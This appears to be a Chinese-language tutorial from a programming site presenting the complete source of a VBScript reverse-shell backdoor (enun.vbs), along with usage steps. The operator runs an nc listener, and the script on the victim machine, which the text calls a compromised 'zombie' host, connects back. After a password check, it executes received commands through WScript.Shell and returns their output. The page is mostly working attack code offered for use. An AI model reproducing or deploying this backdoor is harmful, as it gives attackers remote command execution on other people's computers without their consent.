萬盛學電腦網

 萬盛學電腦網 >> 網絡編程 >> 編程語言綜合 >> VBScript 打造自己的遠程CMDShell附使用教程

VBScript 打造自己的遠程CMDShell附使用教程

這個cmdshell需要結合nc進行配合使用,現在肉雞上執行cmdshell然後在本地上面運行nc,注意看下面的參數  

請先下載 mswinsck.ocx 與 VB6Controls.reg!

使用方法:

1,控制:nc.exe,執行:nc -l -v -p 1234;



2,目標:cscript.exe enun.vbs IP Port;



3,密碼:enun。

幾點說明:
1,退出 SHELL,請輸入 “exit”,不要用 “Ctrl + C”,這樣的話只能等目標重啟或手動運行後門才能連接;
2,Windows 7 等環境下普通標准用戶也能使用,但是獲取的權限相對有限。
3,內部命令及管道使用如下圖:

相關下載:
      1,視頻演示
      2,vb6controls

enun.vbs 源碼:

復制代碼 代碼如下:


'--------------------------------------------------------------------------
' Copyright (c) lxzzr. All rights reserved.
' ScriptName: enun.vbs
' Creation Date: 28/8/2012
' Last Modified: 28/8/2012
' Author: lxzzr, www.enun.net
' E-mail: [email protected]
' Usage: Cscript.exe //nologo enun.vbs IP Port
'--------------------------------------------------------------------------
On Error Resume Next
Public SocketObj, ExecObj, ShellObj
RemoteHost = Wscript.Arguments(0)
RemotePort = Wscript.Arguments(1)

Do
 Do While (SocketObj.State <> 7)
  WScript.Echo "Try Connect to " & RemoteHost & ":" & RemotePort & " ..."

  Set SocketObj = WScript.CreateObject("MSWinsock.Winsock")
  SocketObj.Protocol = 0
  SocketObj.RemoteHost = RemoteHost
  SocketObj.RemotePort = RemotePort
  SocketObj.Connect

  WScript.Sleep 3000
 Loop

 WScript.Echo "Connected to server."
 SocketObj.SendData SocketObj.LocalHostName & " is Connected, Enter Password: "
 Do While (SocketObj.BytesReceived = 0)
  WScript.Sleep 10
 Loop

 '密碼驗證
 SocketObj.GetData Authkey, vbString
 If Split(Authkey, chr(10), -1, 1)(0) = "enun" Then

  Set ShellObj = CreateObject("WScript.Shell")
  sRevData = " "
  SocketObj.SendData "Logon Success, Welcome!" & chr(13) & chr(10)

  '循環等待執行命令
  Do
   Set ExecObj = ShellObj.Exec(Split(sRevData, chr(10), -1, 1)(0))

   SocketObj.SendData ExecObj.StdOut.ReadAll
   SocketObj.SendData ExecObj.StdErr.ReadAll

   If sRevData <> "" Then
    SocketObj.SendData chr(10) & "[" & SocketObj.LocalHostName & "@" & "enun]#: "
   End If

   If Left(sRevData, 4) = "exit" Then
    SocketObj.Close
    Exit Do
   End If

   SocketObj.GetData sRevData, vbString
   WScript.Sleep 1000
  Loop
 Else
  LockoutBadCount = LockoutBadCount + 1
  SocketObj.SendData "Logon Failure: Unknown user name or bad password." & chr(13) & chr(10)
  WScript.Sleep 1000
 End If

 '賬戶策略
 If (LockoutBadCount > 3) Then
  SocketObj.SendData "The User Account is locked!" & chr(13) & chr(10)
  WScript.Sleep 1000
  SocketObj.Close
  LockoutBadCount = 0
  WScript.Sleep 600*1000
 End If
Loop

copyright © 萬盛學電腦網 all rights reserved